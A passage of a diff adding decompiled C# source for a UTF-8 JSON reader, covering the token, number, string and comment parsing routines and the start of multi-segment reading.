case 123: + _bitStack.SetFirstBit(); + _tokenType = JsonTokenType.StartObject; + ValueSpan = _buffer.Slice(_consumed, 1); + _consumed++; + _bytePositionInLine++; + _inObject = true; + _isNotPrimitive = true; + break; + case 91: + _bitStack.ResetFirstBit(); + _tokenType = JsonTokenType.StartArray; + ValueSpan = _buffer.Slice(_consumed, 1); + _consumed++; + _bytePositionInLine++; + _isNotPrimitive = true; + break; + default: + { + ReadOnlySpan buffer = _buffer; + if (JsonHelpers.IsDigit(first) || first == 45) + { + if (!TryGetNumber(buffer.Slice(_consumed), out var consumed)) + { + return false; + } + _tokenType = JsonTokenType.Number; + _consumed += consumed; + _bytePositionInLine += consumed; + return true; + } + if (!ConsumeValue(first)) + { + return false; + } + if (_tokenType == JsonTokenType.StartObject || _tokenType == JsonTokenType.StartArray) + { + _isNotPrimitive = true; + } + break; + } + } + return true; + } + + private void SkipWhiteSpace() + { + ReadOnlySpan buffer = _buffer; + while (_consumed < buffer.Length) + { + byte b = buffer[_consumed]; + if (b == 32 || b == 13 || b == 10 || b == 9) + { + if (b == 10) + { + _lineNumber++; + _bytePositionInLine = 0L; + } + else + { + _bytePositionInLine++; + } + _consumed++; + continue; + } + break; + } + } + + private bool ConsumeValue(byte marker) + { + while (true) + { + _trailingCommaBeforeComment = false; + switch (marker) + { + case 34: + return ConsumeString(); + case 123: + StartObject(); + break; + case 91: + StartArray(); + break; + default: + if (JsonHelpers.IsDigit(marker) || marker == 45) + { + return ConsumeNumber(); + } + switch (marker) + { + case 102: + return ConsumeLiteral(JsonConstants.FalseValue, JsonTokenType.False); + case 116: + return ConsumeLiteral(JsonConstants.TrueValue, JsonTokenType.True); + case 110: + return ConsumeLiteral(JsonConstants.NullValue, JsonTokenType.Null); + } + switch (_readerOptions.CommentHandling) + { + case JsonCommentHandling.Allow: + if (marker == 47) + { + return ConsumeComment(); + } + break; + default: + if (marker != 47) + { + break; + } + if (SkipComment()) + { + if (_consumed >= (uint)_buffer.Length) + { + if (_isNotPrimitive && IsLastSpan && _tokenType != JsonTokenType.EndArray && _tokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidEndOfJsonNonPrimitive, 0); + } + return false; + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData()) + { + return false; + } + marker = _buffer[_consumed]; + } + goto IL_0140; + } + return false; + case JsonCommentHandling.Disallow: + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfValueNotFound, marker); + break; + } + break; + IL_0140: + TokenStartIndex = _consumed; + } + return true; + } + + private bool ConsumeLiteral(ReadOnlySpan literal, JsonTokenType tokenType) + { + ReadOnlySpan span = _buffer.Slice(_consumed); + if (!span.StartsWith(literal)) + { + return CheckLiteral(span, literal); + } + ValueSpan = span.Slice(0, literal.Length); + _tokenType = tokenType; + _consumed += literal.Length; + _bytePositionInLine += literal.Length; + return true; + } + + private bool CheckLiteral(ReadOnlySpan span, ReadOnlySpan literal) + { + int num = 0; + for (int i = 1; i < literal.Length; i++) + { + if (span.Length > i) + { + if (span[i] != literal[i]) + { + _bytePositionInLine += i; + ThrowInvalidLiteral(span); + } + continue; + } + num = i; + break; + } + if (IsLastSpan) + { + _bytePositionInLine += num; + ThrowInvalidLiteral(span); + } + return false; + } + + private void ThrowInvalidLiteral(ReadOnlySpan span) + { + ThrowHelper.ThrowJsonReaderException(ref this, span[0] switch + { + 116 => ExceptionResource.ExpectedTrue, + 102 => ExceptionResource.ExpectedFalse, + _ => ExceptionResource.ExpectedNull, + }, 0, span); + } + + private bool ConsumeNumber() + { + if (!TryGetNumber(_buffer.Slice(_consumed), out var consumed)) + { + return false; + } + _tokenType = JsonTokenType.Number; + _consumed += consumed; + _bytePositionInLine += consumed; + if (_consumed >= (uint)_buffer.Length && _isNotPrimitive) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndOfDigitNotFound, _buffer[_consumed - 1]); + } + return true; + } + + private bool ConsumePropertyName() + { + _trailingCommaBeforeComment = false; + if (!ConsumeString()) + { + return false; + } + if (!HasMoreData(ExceptionResource.ExpectedValueAfterPropertyNameNotFound)) + { + return false; + } + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData(ExceptionResource.ExpectedValueAfterPropertyNameNotFound)) + { + return false; + } + b = _buffer[_consumed]; + } + if (b != 58) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedSeparatorAfterPropertyNameNotFound, b); + } + _consumed++; + _bytePositionInLine++; + _tokenType = JsonTokenType.PropertyName; + return true; + } + + private bool ConsumeString() + { + ReadOnlySpan readOnlySpan = _buffer.Slice(_consumed + 1); + int num = readOnlySpan.IndexOfQuoteOrAnyControlOrBackSlash(); + if (num >= 0) + { + byte b = readOnlySpan[num]; + if (b == 34) + { + _bytePositionInLine += num + 2; + ValueSpan = readOnlySpan.Slice(0, num); + ValueIsEscaped = false; + _tokenType = JsonTokenType.String; + _consumed += num + 2; + return true; + } + return ConsumeStringAndValidate(readOnlySpan, num); + } + if (IsLastSpan) + { + _bytePositionInLine += readOnlySpan.Length + 1; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + return false; + } + + private bool ConsumeStringAndValidate(ReadOnlySpan data, int idx) + { + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + _bytePositionInLine += idx + 1; + bool flag = false; + while (true) + { + if (idx < data.Length) + { + byte b = data[idx]; + if (b == 34) + { + if (!flag) + { + break; + } + flag = false; + } + else if (b == 92) + { + flag = !flag; + } + else if (flag) + { + int num = JsonConstants.EscapableChars.IndexOf(b); + if (num == -1) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterAfterEscapeWithinString, b); + } + if (b == 117) + { + _bytePositionInLine++; + if (!ValidateHexDigits(data, idx + 1)) + { + idx = data.Length; + goto IL_00e5; + } + idx += 4; + } + flag = false; + } + else if (b < 32) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterWithinString, b); + } + _bytePositionInLine++; + idx++; + continue; + } + goto IL_00e5; + IL_00e5: + if (idx < data.Length) + { + break; + } + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfStringNotFound, 0); + } + _lineNumber = lineNumber; + _bytePositionInLine = bytePositionInLine; + return false; + } + _bytePositionInLine++; + ValueSpan = data.Slice(0, idx); + ValueIsEscaped = true; + _tokenType = JsonTokenType.String; + _consumed += idx + 2; + return true; + } + + private bool ValidateHexDigits(ReadOnlySpan data, int idx) + { + for (int i = idx; i < data.Length; i++) + { + byte nextByte = data[i]; + if (!JsonReaderHelper.IsHexDigit(nextByte)) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidHexCharacterWithinString, nextByte); + } + if (i - idx >= 3) + { + return true; + } + _bytePositionInLine++; + } + return false; + } + + private bool TryGetNumber(ReadOnlySpan data, out int consumed) + { + consumed = 0; + int i = 0; + ConsumeNumberResult consumeNumberResult = ConsumeNegativeSign(ref data, ref i); + if (consumeNumberResult == ConsumeNumberResult.NeedMoreData) + { + return false; + } + byte b = data[i]; + if (b == 48) + { + ConsumeNumberResult consumeNumberResult2 = ConsumeZero(ref data, ref i); + if (consumeNumberResult2 == ConsumeNumberResult.NeedMoreData) + { + return false; + } + if (consumeNumberResult2 != ConsumeNumberResult.Success) + { + b = data[i]; + goto IL_00a3; + } + } + else + { + i++; + ConsumeNumberResult consumeNumberResult3 = ConsumeIntegerDigits(ref data, ref i); + if (consumeNumberResult3 == ConsumeNumberResult.NeedMoreData) + { + return false; + } + if (consumeNumberResult3 != ConsumeNumberResult.Success) + { + b = data[i]; + if (b != 46 && b != 69 && b != 101) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndOfDigitNotFound, b); + } + goto IL_00a3; + } + } + goto IL_0152; + IL_00a3: + if (b == 46) + { + i++; + ConsumeNumberResult consumeNumberResult4 = ConsumeDecimalDigits(ref data, ref i); + if (consumeNumberResult4 == ConsumeNumberResult.NeedMoreData) + { + return false; + } + if (consumeNumberResult4 == ConsumeNumberResult.Success) + { + goto IL_0152; + } + b = data[i]; + if (b != 69 && b != 101) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedNextDigitEValueNotFound, b); + } + } + i++; + consumeNumberResult = ConsumeSign(ref data, ref i); + if (consumeNumberResult == ConsumeNumberResult.NeedMoreData) + { + return false; + } + i++; + switch (ConsumeIntegerDigits(ref data, ref i)) + { + case ConsumeNumberResult.NeedMoreData: + return false; + default: + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndOfDigitNotFound, data[i]); + break; + case ConsumeNumberResult.Success: + break; + } + goto IL_0152; + IL_0152: + ValueSpan = data.Slice(0, i); + consumed = i; + return true; + } + + private ConsumeNumberResult ConsumeNegativeSign(ref ReadOnlySpan data, scoped ref int i) + { + byte b = data[i]; + if (b == 45) + { + i++; + if (i >= data.Length) + { + if (IsLastSpan) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + b = data[i]; + if (!JsonHelpers.IsDigit(b)) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundAfterSign, b); + } + } + return ConsumeNumberResult.OperationIncomplete; + } + + private ConsumeNumberResult ConsumeZero(ref ReadOnlySpan data, scoped ref int i) + { + i++; + if (i < data.Length) + { + byte value = data[i]; + if (JsonConstants.Delimiters.IndexOf(value) >= 0) + { + return ConsumeNumberResult.Success; + } + value = data[i]; + if (value != 46 && value != 69 && value != 101) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, JsonHelpers.IsInRangeInclusive(value, 48, 57) ? ExceptionResource.InvalidLeadingZeroInNumber : ExceptionResource.ExpectedEndOfDigitNotFound, value); + } + return ConsumeNumberResult.OperationIncomplete; + } + if (IsLastSpan) + { + return ConsumeNumberResult.Success; + } + return ConsumeNumberResult.NeedMoreData; + } + + private ConsumeNumberResult ConsumeIntegerDigits(ref ReadOnlySpan data, scoped ref int i) + { + byte value = 0; + while (i < data.Length) + { + value = data[i]; + if (!JsonHelpers.IsDigit(value)) + { + break; + } + i++; + } + if (i >= data.Length) + { + if (IsLastSpan) + { + return ConsumeNumberResult.Success; + } + return ConsumeNumberResult.NeedMoreData; + } + if (JsonConstants.Delimiters.IndexOf(value) >= 0) + { + return ConsumeNumberResult.Success; + } + return ConsumeNumberResult.OperationIncomplete; + } + + private ConsumeNumberResult ConsumeDecimalDigits(ref ReadOnlySpan data, scoped ref int i) + { + if (i >= data.Length) + { + if (IsLastSpan) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + byte b = data[i]; + if (!JsonHelpers.IsDigit(b)) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundAfterDecimal, b); + } + i++; + return ConsumeIntegerDigits(ref data, ref i); + } + + private ConsumeNumberResult ConsumeSign(ref ReadOnlySpan data, scoped ref int i) + { + if (i >= data.Length) + { + if (IsLastSpan) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + byte b = data[i]; + if (b == 43 || b == 45) + { + i++; + if (i >= data.Length) + { + if (IsLastSpan) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundEndOfData, 0); + } + return ConsumeNumberResult.NeedMoreData; + } + b = data[i]; + } + if (!JsonHelpers.IsDigit(b)) + { + _bytePositionInLine += i; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.RequiredDigitNotFoundAfterSign, b); + } + return ConsumeNumberResult.OperationIncomplete; + } + + private bool ConsumeNextTokenOrRollback(byte marker) + { + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + JsonTokenType tokenType = _tokenType; + bool trailingCommaBeforeComment = _trailingCommaBeforeComment; + switch (ConsumeNextToken(marker)) + { + case ConsumeTokenResult.Success: + return true; + case ConsumeTokenResult.NotEnoughDataRollBackState: + _consumed = consumed; + _tokenType = tokenType; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + _trailingCommaBeforeComment = trailingCommaBeforeComment; + break; + } + return false; + } + + private ConsumeTokenResult ConsumeNextToken(byte marker) + { + if (_readerOptions.CommentHandling != JsonCommentHandling.Disallow) + { + if (_readerOptions.CommentHandling != JsonCommentHandling.Allow) + { + return ConsumeNextTokenUntilAfterAllCommentsAreSkipped(marker); + } + if (marker == 47) + { + if (!ConsumeComment()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (_tokenType == JsonTokenType.Comment) + { + return ConsumeNextTokenFromLastNonCommentToken(); + } + } + if (_bitStack.CurrentDepth == 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndAfterSingleJson, marker); + } + switch (marker) + { + case 44: + { + _consumed++; + _bytePositionInLine++; + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData(ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + b = _buffer[_consumed]; + } + TokenStartIndex = _consumed; + if (_readerOptions.CommentHandling == JsonCommentHandling.Allow && b == 47) + { + _trailingCommaBeforeComment = true; + if (!ConsumeComment()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (_inObject) + { + if (b != 34) + { + if (b == 125) + { + if (_readerOptions.AllowTrailingCommas) + { + EndObject(); + return ConsumeTokenResult.Success; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + if (!ConsumePropertyName()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (b == 93) + { + if (_readerOptions.AllowTrailingCommas) + { + EndArray(); + return ConsumeTokenResult.Success; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + if (!ConsumeValue(b)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + case 125: + EndObject(); + break; + case 93: + EndArray(); + break; + default: + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.FoundInvalidCharacter, marker); + break; + } + return ConsumeTokenResult.Success; + } + + private ConsumeTokenResult ConsumeNextTokenFromLastNonCommentToken() + { + if (JsonReaderHelper.IsTokenTypePrimitive(_previousTokenType)) + { + _tokenType = (_inObject ? JsonTokenType.StartObject : JsonTokenType.StartArray); + } + else + { + _tokenType = _previousTokenType; + } + if (HasMoreData()) + { + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData()) + { + goto IL_0343; + } + b = _buffer[_consumed]; + } + if (_bitStack.CurrentDepth == 0 && _tokenType != JsonTokenType.None) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndAfterSingleJson, b); + } + TokenStartIndex = _consumed; + if (b != 44) + { + if (b == 125) + { + EndObject(); + } + else + { + if (b != 93) + { + if (_tokenType == JsonTokenType.None) + { + if (ReadFirstToken(b)) + { + goto IL_0341; + } + } + else if (_tokenType == JsonTokenType.StartObject) + { + if (b != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + if (ConsumePropertyName()) + { + goto IL_0341; + } + _consumed = consumed; + _tokenType = JsonTokenType.StartObject; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + } + else if (_tokenType == JsonTokenType.StartArray) + { + if (ConsumeValue(b)) + { + goto IL_0341; + } + } + else if (_tokenType == JsonTokenType.PropertyName) + { + if (ConsumeValue(b)) + { + goto IL_0341; + } + } + else if (_inObject) + { + if (b != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + if (ConsumePropertyName()) + { + goto IL_0341; + } + } + else if (ConsumeValue(b)) + { + goto IL_0341; + } + goto IL_0343; + } + EndArray(); + } + goto IL_0341; + } + if ((int)_previousTokenType <= 1 || _previousTokenType == JsonTokenType.StartArray || _trailingCommaBeforeComment) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueAfterComment, b); + } + _consumed++; + _bytePositionInLine++; + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + } + else + { + b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData(ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + goto IL_0343; + } + b = _buffer[_consumed]; + } + TokenStartIndex = _consumed; + if (b == 47) + { + _trailingCommaBeforeComment = true; + if (ConsumeComment()) + { + goto IL_0341; + } + } + else if (_inObject) + { + if (b != 34) + { + if (b == 125) + { + if (_readerOptions.AllowTrailingCommas) + { + EndObject(); + goto IL_0341; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + if (ConsumePropertyName()) + { + goto IL_0341; + } + } + else + { + if (b == 93) + { + if (_readerOptions.AllowTrailingCommas) + { + EndArray(); + goto IL_0341; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + if (ConsumeValue(b)) + { + goto IL_0341; + } + } + } + } + goto IL_0343; + IL_0343: + return ConsumeTokenResult.NotEnoughDataRollBackState; + IL_0341: + return ConsumeTokenResult.Success; + } + + private bool SkipAllComments(scoped ref byte marker) + { + while (true) + { + if (marker == 47) + { + if (!SkipComment() || !HasMoreData()) + { + break; + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData()) + { + break; + } + marker = _buffer[_consumed]; + } + continue; + } + return true; + } + return false; + } + + private bool SkipAllComments(scoped ref byte marker, ExceptionResource resource) + { + while (true) + { + if (marker == 47) + { + if (!SkipComment() || !HasMoreData(resource)) + { + break; + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData(resource)) + { + break; + } + marker = _buffer[_consumed]; + } + continue; + } + return true; + } + return false; + } + + private ConsumeTokenResult ConsumeNextTokenUntilAfterAllCommentsAreSkipped(byte marker) + { + if (SkipAllComments(ref marker)) + { + TokenStartIndex = _consumed; + if (_tokenType == JsonTokenType.StartObject) + { + if (marker == 125) + { + EndObject(); + } + else + { + if (marker != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, marker); + } + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + if (!ConsumePropertyName()) + { + _consumed = consumed; + _tokenType = JsonTokenType.StartObject; + _bytePositionInLine = bytePositionInLine; + _lineNumber = lineNumber; + goto IL_0281; + } + } + } + else if (_tokenType == JsonTokenType.StartArray) + { + if (marker == 93) + { + EndArray(); + } + else if (!ConsumeValue(marker)) + { + goto IL_0281; + } + } + else if (_tokenType == JsonTokenType.PropertyName) + { + if (!ConsumeValue(marker)) + { + goto IL_0281; + } + } + else if (_bitStack.CurrentDepth == 0) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedEndAfterSingleJson, marker); + } + else + { + switch (marker) + { + case 44: + _consumed++; + _bytePositionInLine++; + if (_consumed >= (uint)_buffer.Length) + { + if (IsLastSpan) + { + _consumed--; + _bytePositionInLine--; + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound, 0); + } + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + marker = _buffer[_consumed]; + if (marker <= 32) + { + SkipWhiteSpace(); + if (!HasMoreData(ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + marker = _buffer[_consumed]; + } + if (SkipAllComments(ref marker, ExceptionResource.ExpectedStartOfPropertyOrValueNotFound)) + { + TokenStartIndex = _consumed; + if (_inObject) + { + if (marker != 34) + { + if (marker == 125) + { + if (_readerOptions.AllowTrailingCommas) + { + EndObject(); + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeObjectEnd, 0); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, marker); + } + if (!ConsumePropertyName()) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + if (marker == 93) + { + if (_readerOptions.AllowTrailingCommas) + { + EndArray(); + break; + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.TrailingCommaNotAllowedBeforeArrayEnd, 0); + } + if (!ConsumeValue(marker)) + { + return ConsumeTokenResult.NotEnoughDataRollBackState; + } + return ConsumeTokenResult.Success; + } + return ConsumeTokenResult.NotEnoughDataRollBackState; + case 125: + EndObject(); + break; + case 93: + EndArray(); + break; + default: + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.FoundInvalidCharacter, marker); + break; + } + } + return ConsumeTokenResult.Success; + } + goto IL_0281; + IL_0281: + return ConsumeTokenResult.IncompleteNoRollBackNecessary; + } + + private bool SkipComment() + { + ReadOnlySpan readOnlySpan = _buffer.Slice(_consumed + 1); + if (readOnlySpan.Length > 0) + { + int idx; + switch (readOnlySpan[0]) + { + case 47: + return SkipSingleLineComment(readOnlySpan.Slice(1), out idx); + case 42: + return SkipMultiLineComment(readOnlySpan.Slice(1), out idx); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfValueNotFound, 47); + } + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfValueNotFound, 47); + } + return false; + } + + private bool SkipSingleLineComment(ReadOnlySpan localBuffer, out int idx) + { + idx = FindLineSeparator(localBuffer); + int num; + if (idx != -1) + { + num = idx; + if (localBuffer[idx] != 10) + { + if (idx < localBuffer.Length - 1) + { + if (localBuffer[idx + 1] == 10) + { + num++; + } + } + else if (!IsLastSpan) + { + return false; + } + } + num++; + _bytePositionInLine = 0L; + _lineNumber++; + } + else + { + if (!IsLastSpan) + { + return false; + } + idx = localBuffer.Length; + num = idx; + _bytePositionInLine += 2 + localBuffer.Length; + } + _consumed += 2 + num; + return true; + } + + private int FindLineSeparator(ReadOnlySpan localBuffer) + { + int num = 0; + while (true) + { + int num2 = localBuffer.IndexOfAny((byte)10, (byte)13, (byte)226); + if (num2 == -1) + { + return -1; + } + num += num2; + if (localBuffer[num2] != 226) + { + break; + } + num++; + localBuffer = localBuffer.Slice(num2 + 1); + ThrowOnDangerousLineSeparator(localBuffer); + } + return num; + } + + private void ThrowOnDangerousLineSeparator(ReadOnlySpan localBuffer) + { + if (localBuffer.Length >= 2) + { + byte b = localBuffer[1]; + if (localBuffer[0] == 128 && (b == 168 || b == 169)) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfLineSeparator, 0); + } + } + } + + private bool SkipMultiLineComment(ReadOnlySpan localBuffer, out int idx) + { + idx = 0; + while (true) + { + int num = localBuffer.Slice(idx).IndexOf((byte)47); + switch (num) + { + case -1: + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.EndOfCommentNotFound, 0); + } + return false; + default: + if (localBuffer[num + idx - 1] == 42) + { + idx += num - 1; + _consumed += 4 + idx; + var (num2, num3) = JsonReaderHelper.CountNewLines(localBuffer.Slice(0, idx)); + _lineNumber += num2; + if (num3 != -1) + { + _bytePositionInLine = idx - num3 + 1; + } + else + { + _bytePositionInLine += 4 + idx; + } + return true; + } + break; + case 0: + break; + } + idx += num + 1; + } + } + + private bool ConsumeComment() + { + ReadOnlySpan readOnlySpan = _buffer.Slice(_consumed + 1); + if (readOnlySpan.Length > 0) + { + byte b = readOnlySpan[0]; + switch (b) + { + case 47: + return ConsumeSingleLineComment(readOnlySpan.Slice(1), _consumed); + case 42: + return ConsumeMultiLineComment(readOnlySpan.Slice(1), _consumed); + } + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.InvalidCharacterAtStartOfComment, b); + } + if (IsLastSpan) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.UnexpectedEndOfDataWhileReadingComment, 0); + } + return false; + } + + private bool ConsumeSingleLineComment(ReadOnlySpan localBuffer, int previousConsumed) + { + if (!SkipSingleLineComment(localBuffer, out var idx)) + { + return false; + } + ValueSpan = _buffer.Slice(previousConsumed + 2, idx); + if (_tokenType != JsonTokenType.Comment) + { + _previousTokenType = _tokenType; + } + _tokenType = JsonTokenType.Comment; + return true; + } + + private bool ConsumeMultiLineComment(ReadOnlySpan localBuffer, int previousConsumed) + { + if (!SkipMultiLineComment(localBuffer, out var idx)) + { + return false; + } + ValueSpan = _buffer.Slice(previousConsumed + 2, idx); + if (_tokenType != JsonTokenType.Comment) + { + _previousTokenType = _tokenType; + } + _tokenType = JsonTokenType.Comment; + return true; + } + + private ReadOnlySpan GetUnescapedSpan() + { + ReadOnlySpan readOnlySpan = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + if (ValueIsEscaped) + { + readOnlySpan = JsonReaderHelper.GetUnescapedSpan(readOnlySpan); + } + return readOnlySpan; + } + + public Utf8JsonReader(ReadOnlySequence jsonData, bool isFinalBlock, JsonReaderState state) + { + ReadOnlyMemory memory = jsonData.First; + _buffer = memory.Span; + _isFinalBlock = isFinalBlock; + _isInputSequence = true; + _lineNumber = state._lineNumber; + _bytePositionInLine = state._bytePositionInLine; + _inObject = state._inObject; + _isNotPrimitive = state._isNotPrimitive; + ValueIsEscaped = state._valueIsEscaped; + _trailingCommaBeforeComment = state._trailingCommaBeforeComment; + _tokenType = state._tokenType; + _previousTokenType = state._previousTokenType; + _readerOptions = state._readerOptions; + if (_readerOptions.MaxDepth == 0) + { + _readerOptions.MaxDepth = 64; + } + _bitStack = state._bitStack; + _consumed = 0; + TokenStartIndex = 0L; + _totalConsumed = 0L; + ValueSpan = ReadOnlySpan.Empty; + _sequence = jsonData; + HasValueSequence = false; + ValueSequence = ReadOnlySequence.Empty; + if (jsonData.IsSingleSegment) + { + _nextPosition = default(SequencePosition); + _currentPosition = jsonData.Start; + _isLastSegment = isFinalBlock; + _isMultiSegment = false; + return; + } + _currentPosition = jsonData.Start; + _nextPosition = _currentPosition; + bool flag = _buffer.Length == 0; + if (flag) + { + SequencePosition nextPosition = _nextPosition; + ReadOnlyMemory memory2; + while (jsonData.TryGet(ref _nextPosition, out memory2)) + { + _currentPosition = nextPosition; + if (memory2.Length != 0) + { + _buffer = memory2.Span; + break; + } + nextPosition = _nextPosition; + } + } + _isLastSegment = !jsonData.TryGet(ref _nextPosition, out memory, !flag) && isFinalBlock; + _isMultiSegment = true; + } + + public Utf8JsonReader(ReadOnlySequence jsonData, JsonReaderOptions options = default(JsonReaderOptions)) + { + this = new Utf8JsonReader(jsonData, isFinalBlock: true, new JsonReaderState(options)); + } + + private bool ReadMultiSegment() + { + bool flag = false; + HasValueSequence = false; + ValueIsEscaped = false; + ValueSpan = default(ReadOnlySpan); + ValueSequence = default(ReadOnlySequence); + if (HasMoreDataMultiSegment()) + { + byte b = _buffer[_consumed]; + if (b <= 32) + { + SkipWhiteSpaceMultiSegment(); + if (!HasMoreDataMultiSegment()) + { + goto IL_0173; + } + b = _buffer[_consumed]; + } + TokenStartIndex = BytesConsumed; + if (_tokenType != JsonTokenType.None) + { + if (b == 47) + { + flag = ConsumeNextTokenOrRollbackMultiSegment(b); + } + else if (_tokenType == JsonTokenType.StartObject) + { + if (b == 125) + { + EndObject(); + goto IL_0171; + } + if (b != 34) + { + ThrowHelper.ThrowJsonReaderException(ref this, ExceptionResource.ExpectedStartOfPropertyNotFound, b); + } + long totalConsumed = _totalConsumed; + int consumed = _consumed; + long bytePositionInLine = _bytePositionInLine; + long lineNumber = _lineNumber; + SequencePosition currentPosition = _currentPosition; + flag = ConsumePropertyNameMultiSegment(); + if (!flag) + { + _consumed = consumed; + _tokenType = 